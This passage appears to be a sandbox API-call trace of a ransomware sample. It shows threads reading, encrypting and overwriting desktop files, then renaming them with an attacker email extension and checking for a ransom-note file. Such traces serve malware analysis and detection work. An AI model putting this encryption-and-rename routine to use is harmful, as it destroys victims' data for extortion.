_Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\E-vSJACofd9.m4a.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\E-vSJACofd9.m4a.mailto[2Hamlampampom@cock.li].cd46d" [0054.526] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\E-vSJACofd9.m4a.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x877f9f0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\E-vSJACofd9.m4a.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0054.526] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xca) returned 0x40d2b0 [0054.613] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x40d2b0) returned 1 [0054.613] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4a2b58) returned 1 [0054.613] NtQueryInformationFile (in: FileHandle=0x5a8, IoStatusBlock=0x877f9fc, FileInformation=0x877f9d4, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x877f9fc, FileInformation=0x877f9d4) returned 0x0 [0054.613] NtSetInformationFile (FileHandle=0x5a8, IoStatusBlock=0x877f9fc, FileInformation=0x877f9d4, Length=0x28, FileInformationClass=0x4) returned 0x0 [0054.616] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e02120) returned 1 [0054.616] FlushFileBuffers (hFile=0x5a8) returned 1 [0054.622] CloseHandle (hObject=0x5a8) returned 1 [0054.630] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x418ed8 [0054.630] wcscpy (in: _Dest=0x418ed8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" [0054.630] wcscat (in: _Dest=0x418ed8, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CD46D-Readme.txt" [0054.630] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cd46d-readme.txt")) returned 0x20 [0054.630] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x418ed8) returned 1 [0054.630] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x418d70) returned 1 Thread: id = 284 os_tid = 0xaf4 [0046.997] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\fFuP1EVpdZw.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ffup1evpdzw.m4a")) returned 0x20 [0046.997] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\fFuP1EVpdZw.m4a", dwFileAttributes=0x20) returned 1 [0054.401] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\fFuP1EVpdZw.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ffup1evpdzw.m4a"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x5ac [0054.401] GetFileSizeEx (in: hFile=0x5ac, lpFileSize=0x863fc1c | out: lpFileSize=0x863fc1c*=96006) returned 1 [0054.401] SetFilePointerEx (in: hFile=0x5ac, liDistanceToMove=0x17702, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0054.401] ReadFile (in: hFile=0x5ac, lpBuffer=0x863fba0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x863fb9c, lpOverlapped=0x0 | out: lpBuffer=0x863fba0*, lpNumberOfBytesRead=0x863fb9c*=0x4, lpOverlapped=0x0) returned 1 [0054.402] SetFilePointerEx (in: hFile=0x5ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0054.402] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x45ffe0 [0054.402] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x95d07e0 [0054.402] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x95d06c8 [0054.402] NtQuerySystemTime (in: CurrentTime=0x863fb7c | out: CurrentTime=0x863fb7c*=132174898183896000) returned 0x0 [0054.402] RtlRandomEx (in: Seed=0x863fb88 | out: Seed=0x863fb88) returned 0x7e8f0419 [0054.402] RtlRandomEx (in: Seed=0x863fb88 | out: Seed=0x863fb88) returned 0x2f4d30ff [0054.402] RtlRandomEx (in: Seed=0x863fb88 | out: Seed=0x863fb88) returned 0x709d000c [0054.402] RtlRandomEx (in: Seed=0x863fb88 | out: Seed=0x863fb88) returned 0x916cf30 [0054.402] RtlRandomEx (in: Seed=0x863fb88 | out: Seed=0x863fb88) returned 0x774e66b0 [0054.402] RtlRandomEx (in: Seed=0x863fb88 | out: Seed=0x863fb88) returned 0x1f0ccd5f [0054.402] RtlRandomEx (in: Seed=0x863fb88 | out: Seed=0x863fb88) returned 0x447b6dbf [0054.402] RtlRandomEx (in: Seed=0x863fb88 | out: Seed=0x863fb88) returned 0x431f334f [0054.402] RtlRandomEx (in: Seed=0x863fb88 | out: Seed=0x863fb88) returned 0x66806839 [0054.402] RtlRandomEx (in: Seed=0x863fb88 | out: Seed=0x863fb88) returned 0x15f5d3f9 [0054.402] RtlRandomEx (in: Seed=0x863fb88 | out: Seed=0x863fb88) returned 0x42cd7a6c [0054.402] RtlRandomEx (in: Seed=0x863fb88 | out: Seed=0x863fb88) returned 0x8b6ec0d [0054.402] RtlRandomEx (in: Seed=0x863fb88 | out: Seed=0x863fb88) returned 0x4b6e27ad [0054.403] RtlRandomEx (in: Seed=0x863fb88 | out: Seed=0x863fb88) returned 0x195db9d9 [0054.403] RtlRandomEx (in: Seed=0x863fb88 | out: Seed=0x863fb88) returned 0xe20d082 [0054.403] RtlRandomEx (in: Seed=0x863fb88 | out: Seed=0x863fb88) returned 0x77d0469c [0054.403] RtlRandomEx (in: Seed=0x863fb88 | out: Seed=0x863fb88) returned 0x619ca7e5 [0054.403] RtlRandomEx (in: Seed=0x863fb88 | out: Seed=0x863fb88) returned 0x1d2cbb0c [0054.403] RtlRandomEx (in: Seed=0x863fb88 | out: Seed=0x863fb88) returned 0x6ba521db [0054.403] RtlRandomEx (in: Seed=0x863fb88 | out: Seed=0x863fb88) returned 0x2caf046e [0054.403] RtlRandomEx (in: Seed=0x863fb88 | out: Seed=0x863fb88) returned 0x79f990bb [0054.403] RtlRandomEx (in: Seed=0x863fb88 | out: Seed=0x863fb88) returned 0x76dc7a19 [0054.403] RtlRandomEx (in: Seed=0x863fb88 | out: Seed=0x863fb88) returned 0x6cc9b83c [0054.403] RtlRandomEx (in: Seed=0x863fb88 | out: Seed=0x863fb88) returned 0x2ca6e380 [0054.403] RtlRandomEx (in: Seed=0x863fb88 | out: Seed=0x863fb88) returned 0x47a837c0 [0054.403] RtlRandomEx (in: Seed=0x863fb88 | out: Seed=0x863fb88) returned 0x1fc04100 [0054.403] RtlRandomEx (in: Seed=0x863fb88 | out: Seed=0x863fb88) returned 0x30e693b1 [0054.403] RtlRandomEx (in: Seed=0x863fb88 | out: Seed=0x863fb88) returned 0x5319a443 [0054.403] RtlRandomEx (in: Seed=0x863fb88 | out: Seed=0x863fb88) returned 0x516b1f5e [0054.403] RtlRandomEx (in: Seed=0x863fb88 | out: Seed=0x863fb88) returned 0x1fd38a38 [0054.403] RtlRandomEx (in: Seed=0x863fb88 | out: Seed=0x863fb88) returned 0x135b08bb [0054.403] RtlRandomEx (in: Seed=0x863fb88 | out: Seed=0x863fb88) returned 0x7002784e [0054.415] SetFilePointerEx (in: hFile=0x5ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0054.415] ReadFile (in: hFile=0x5ac, lpBuffer=0x9747128, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x863fb5c, lpOverlapped=0x0 | out: lpBuffer=0x9747128*, lpNumberOfBytesRead=0x863fb5c*=0xc800, lpOverlapped=0x0) returned 1 [0054.415] SetFilePointerEx (in: hFile=0x5ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0054.415] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x44baf0 [0054.415] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x437940 [0054.415] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x45ffe0 [0054.415] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x45ffe0) returned 1 [0054.416] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x9753930 [0054.420] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x45ffe0 [0054.420] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x95d06c8 [0054.420] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d06c8) returned 1 [0054.420] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x437940) returned 1 [0054.420] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44baf0) returned 1 [0054.420] WriteFile (in: hFile=0x5ac, lpBuffer=0x9753930*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x863fb5c, lpOverlapped=0x0 | out: lpBuffer=0x9753930*, lpNumberOfBytesWritten=0x863fb5c*=0xc800, lpOverlapped=0x0) returned 1 [0054.491] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x9753930) returned 1 [0054.491] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x9747128) returned 1 [0054.491] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x2b) returned 0x40a9f8 [0054.491] SetFilePointerEx (in: hFile=0x5ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0054.491] WriteFile (in: hFile=0x5ac, lpBuffer=0x44eab8*, nNumberOfBytesToWrite=0x10f, lpNumberOfBytesWritten=0x863fbdc, lpOverlapped=0x0 | out: lpBuffer=0x44eab8*, lpNumberOfBytesWritten=0x863fbdc*=0x10f, lpOverlapped=0x0) returned 1 [0054.524] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44eab8) returned 1 [0054.524] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x40aaa0) returned 1 [0054.524] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d0268) returned 1 [0054.524] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x40a9f8) returned 1 [0054.524] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x45ffe0) returned 1 [0054.524] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d07e0) returned 1 [0054.524] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d0628) returned 1 [0054.524] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d0718) returned 1 [0054.524] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xb4) returned 0x5e02420 [0054.524] wcscpy (in: _Dest=0x5e02420, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\fFuP1EVpdZw.m4a" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\fFuP1EVpdZw.m4a") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\fFuP1EVpdZw.m4a" [0054.524] wcscat (in: _Dest=0x5e02420, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\fFuP1EVpdZw.m4a.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\fFuP1EVpdZw.m4a.mailto[2Hamlampampom@cock.li].cd46d" [0054.524] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\fFuP1EVpdZw.m4a.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x863fb94, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\fFuP1EVpdZw.m4a.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0054.524] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xca) returned 0x40d388 [0054.612] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x40d388) returned 1 [0054.612] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4a2d80) returned 1 [0054.612] NtQueryInformationFile (in: FileHandle=0x5ac, IoStatusBlock=0x863fba0, FileInformation=0x863fb78, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x863fba0, FileInformation=0x863fb78) returned 0x0 [0054.612] NtSetInformationFile (FileHandle=0x5ac, IoStatusBlock=0x863fba0, FileInformation=0x863fb78, Length=0x28, FileInformationClass=0x4) returned 0x0 [0054.625] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e02420) returned 1 [0054.625] FlushFileBuffers (hFile=0x5ac) returned 1 [0054.634] CloseHandle (hObject=0x5ac) returned 1 [0054.637] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x418cf8 [0054.637] wcscpy (in: _Dest=0x418cf8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" [0054.637] wcscat (in: _Dest=0x418cf8, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CD46D-Readme.txt" [0054.637] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cd46d-readme.txt")) returned 0x20 [0054.637] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x418cf8) returned 1 [0054.637] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x418de8) returned 1 Thread: id = 285 os_tid = 0xaf8 [0046.997] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\GH4lHxcUg1oiF.csv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\gh4lhxcug1oif.csv")) returned 0x20 [0046.998] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\GH4lHxcUg1oiF.csv", dwFileAttributes=0x20) returned 1 [0054.385] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\GH4lHxcUg1oiF.csv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\gh4lhxcug1oif.csv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x5b0 [0054.385] GetFileSizeEx (in: hFile=0x5b0, lpFileSize=0x872fd64 | out: lpFileSize=0x872fd64*=11668) returned 1 [0054.385] SetFilePointerEx (in: hFile=0x5b0, liDistanceToMove=0x2d90, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0054.385] ReadFile (in: hFile=0x5b0, lpBuffer=0x872fce8, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x872fce4, lpOverlapped=0x0 | out: lpBuffer=0x872fce8*, lpNumberOfBytesRead=0x872fce4*=0x4, lpOverlapped=0x0) returned 1 [0054.386] SetFilePointerEx (in: hFile=0x5b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0054.386] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x45ffe0 [0054.386] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x95d0740 [0054.386] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x95d07e0 [0054.386] NtQuerySystemTime (in: CurrentTime=0x872fcc4 | out: CurrentTime=0x872fcc4*=132174898183740000) returned 0x0 [0054.386] RtlRandomEx (in: Seed=0x872fcd0 | out: Seed=0x872fcd0) returned 0x4f02cebc [0054.386] RtlRandomEx (in: Seed=0x872fcd0 | out: Seed=0x872fcd0) returned 0x737cf4a1 [0054.386] RtlRandomEx (in: Seed=0x872fcd0 | out: Seed=0x872fcd0) returned 0x71cd7680 [0054.386] RtlRandomEx (in: Seed=0x872fcd0 | out: Seed=0x872fcd0) returned 0x76aec0d7 [0054.386] RtlRandomEx (in: Seed=0x872fcd0 | out: Seed=0x872fcd0) returned 0x724705da [0054.386] RtlRandomEx (in: Seed=0x872fcd0 | out: Seed=0x872fcd0) returned 0x78ce2e56 [0054.386] RtlRandomEx (in: Seed=0x872fcd0 | out: Seed=0x872fcd0) returned 0x47ce642c [0054.386] RtlRandomEx (in: Seed=0x872fcd0 | out: Seed=0x872fcd0) returned 0x369a3e41 [0054.386] RtlRandomEx (in: Seed=0x872fcd0 | out: Seed=0x872fcd0) returned 0x471b6c67 [0054.386] RtlRandomEx (in: Seed=0x872fcd0 | out: Seed=0x872fcd0) returned 0x26f2bfc8 [0054.386] RtlRandomEx (in: Seed=0x872fcd0 | out: Seed=0x872fcd0) returned 0x5ba024ed [0054.386] RtlRandomEx (in: Seed=0x872fcd0 | out: Seed=0x872fcd0) returned 0x331371e [0054.386] RtlRandomEx (in: Seed=0x872fcd0 | out: Seed=0x872fcd0) returned 0x37ad476a [0054.386] RtlRandomEx (in: Seed=0x872fcd0 | out: Seed=0x872fcd0) returned 0x2459164d [0054.386] RtlRandomEx (in: Seed=0x872fcd0 | out: Seed=0x872fcd0) returned 0x4c33f086 [0054.386] RtlRandomEx (in: Seed=0x872fcd0 | out: Seed=0x872fcd0) returned 0x26f495a1 [0054.386] RtlRandomEx (in: Seed=0x872fcd0 | out: Seed=0x872fcd0) returned 0x1a3ef45b [0054.386] RtlRandomEx (in: Seed=0x872fcd0 | out: Seed=0x872fcd0) returned 0x4225e759 [0054.386] RtlRandomEx (in: Seed=0x872fcd0 | out: Seed=0x872fcd0) returned 0x20cddc00 [0054.386] RtlRandomEx (in: Seed=0x872fcd0 | out: Seed=0x872fcd0) returned 0x50d73b50 [0054.386] RtlRandomEx (in: Seed=0x872fcd0 | out: Seed=0x872fcd0) returned 0x15be9455 [0054.386] RtlRandomEx (in: Seed=0x872fcd0 | out: Seed=0x872fcd0) returned 0x225c83c5 [0054.386] RtlRandomEx (in: Seed=0x872fcd0 | out: Seed=0x872fcd0) returned 0x562d822 [0054.386] RtlRandomEx (in: Seed=0x872fcd0 | out: Seed=0x872fcd0) returned 0x4f5df3d2 [0054.387] RtlRandomEx (in: Seed=0x872fcd0 | out: Seed=0x872fcd0) returned 0x4610f419 [0054.387] RtlRandomEx (in: Seed=0x872fcd0 | out: Seed=0x872fcd0) returned 0x51198f11 [0054.387] RtlRandomEx (in: Seed=0x872fcd0 | out: Seed=0x872fcd0) returned 0x2eba873 [0054.387] RtlRandomEx (in: Seed=0x872fcd0 | out: Seed=0x872fcd0) returned 0x1a9f3ae0 [0054.387] RtlRandomEx (in: Seed=0x872fcd0 | out: Seed=0x872fcd0) returned 0x2f75a669 [0054.387] RtlRandomEx (in: Seed=0x872fcd0 | out: Seed=0x872fcd0) returned 0x180bda7 [0054.387] RtlRandomEx (in: Seed=0x872fcd0 | out: Seed=0x872fcd0) returned 0x48d8c6c6 [0054.387] RtlRandomEx (in: Seed=0x872fcd0 | out: Seed=0x872fcd0) returned 0x2cb271e3 [0054.399] ReadFile (in: hFile=0x5b0, lpBuffer=0x972e118, nNumberOfBytesToRead=0x2d94, lpNumberOfBytesRead=0x872fcc0, lpOverlapped=0x0 | out: lpBuffer=0x972e118*, lpNumberOfBytesRead=0x872fcc0*=0x2d94, lpOverlapped=0x0) returned 1 [0054.399] SetFilePointerEx (in: hFile=0x5b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0054.399] WriteFile (in: hFile=0x5b0, lpBuffer=0x973a920*, nNumberOfBytesToWrite=0x2d94, lpNumberOfBytesWritten=0x872fcbc, lpOverlapped=0x0 | out: lpBuffer=0x973a920*, lpNumberOfBytesWritten=0x872fcbc*=0x2d94, lpOverlapped=0x0) returned 1 [0054.489] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x95d0240 [0054.490] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x95d0290 [0054.490] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d0290) returned 1 [0054.490] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x973a920) returned 1 [0054.490] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x972e118) returned 1 [0054.490] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4379b8) returned 1 [0054.490] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44bb80) returned 1 [0054.490] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x2f) returned 0x40abb8 [0054.490] SetFilePointerEx (in: hFile=0x5b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0054.490] WriteFile (in: hFile=0x5b0, lpBuffer=0x5efe280*, nNumberOfBytesToWrite=0x113, lpNumberOfBytesWritten=0x872fd24, lpOverlapped=0x0 | out: lpBuffer=0x5efe280*, lpNumberOfBytesWritten=0x872fd24*=0x113, lpOverlapped=0x0) returned 1 [0054.522] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5efe280) returned 1 [0054.522] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x40ad08) returned 1 [0054.522] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d0290) returned 1 [0054.522] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x40abb8) returned 1 [0054.522] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d0240) returned 1 [0054.522] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d0740) returned 1 [0054.523] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d0790) returned 1 [0054.523] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d0768) returned 1 [0054.523] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xb8) returned 0x5e024e0 [0054.523] wcscpy (in: _Dest=0x5e024e0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\GH4lHxcUg1oiF.csv" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\GH4lHxcUg1oiF.csv") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\GH4lHxcUg1oiF.csv" [0054.523] wcscat (in: _Dest=0x5e024e0, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\GH4lHxcUg1oiF.csv.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\GH4lHxcUg1oiF.csv.mailto[2Hamlampampom@cock.li].cd46d" [0054.523] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\GH4lHxcUg1oiF.csv.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x872fcdc, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\GH4lHxcUg1oiF.csv.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0054.523] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xce) returned 0x40d460 [0054.611] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x40d460) returned 1 [0054.611] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4a2fa8) returned 1 [0054.611] NtQueryInformationFile (in: FileHandle=0x5b0, IoStatusBlock=0x872fce8, FileInformation=0x872fcc0, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x872fce8, FileInformation=0x872fcc0) returned 0x0 [0054.611] NtSetInformationFile (FileHandle=0x5b0, IoStatusBlock=0x872fce8, FileInformation=0x872fcc0, Length=0x28, FileInformationClass=0x4) returned 0x0 [0054.623] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e024e0) returned 1 [0054.623] FlushFileBuffers (hFile=0x5b0) returned 1 [0054.624] CloseHandle (hObject=0x5b0) returned 1 [0054.632] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x418d70 [0054.632] wcscpy (in: _Dest=0x418d70, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" [0054.632] wcscat (in: _Dest=0x418d70, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CD46D-Readme.txt" [0054.632] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cd46d-readme.txt")) returned 0x20 [0054.632] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x418d70) returned 1 [0054.632] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x418e60) returned 1 Thread: id = 286 os_tid = 0xafc [0047.000] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\GT7a13LfUNvpkBWLAb_.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\gt7a13lfunvpkbwlab_.bmp")) returned 0x20 [0047.000] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\GT7a13LfUNvpkBWLAb_.bmp", dwFileAttributes=0x20) returned 1 [0054.368] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\GT7a13LfUNvpkBWLAb_.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\gt7a13lfunvpkbwlab_.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x5b4 [0054.368] GetFileSizeEx (in: hFile=0x5b4, lpFileSize=0x898f8cc | out: lpFileSize=0x898f8cc*=19797) returned 1 [0054.368] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x4d51, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0054.368] ReadFile (in: hFile=0x5b4, lpBuffer=0x898f850, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x898f84c, lpOverlapped=0x0 | out: lpBuffer=0x898f850*, lpNumberOfBytesRead=0x898f84c*=0x4, lpOverlapped=0x0) returned 1 [0054.369] SetFilePointerEx (in: 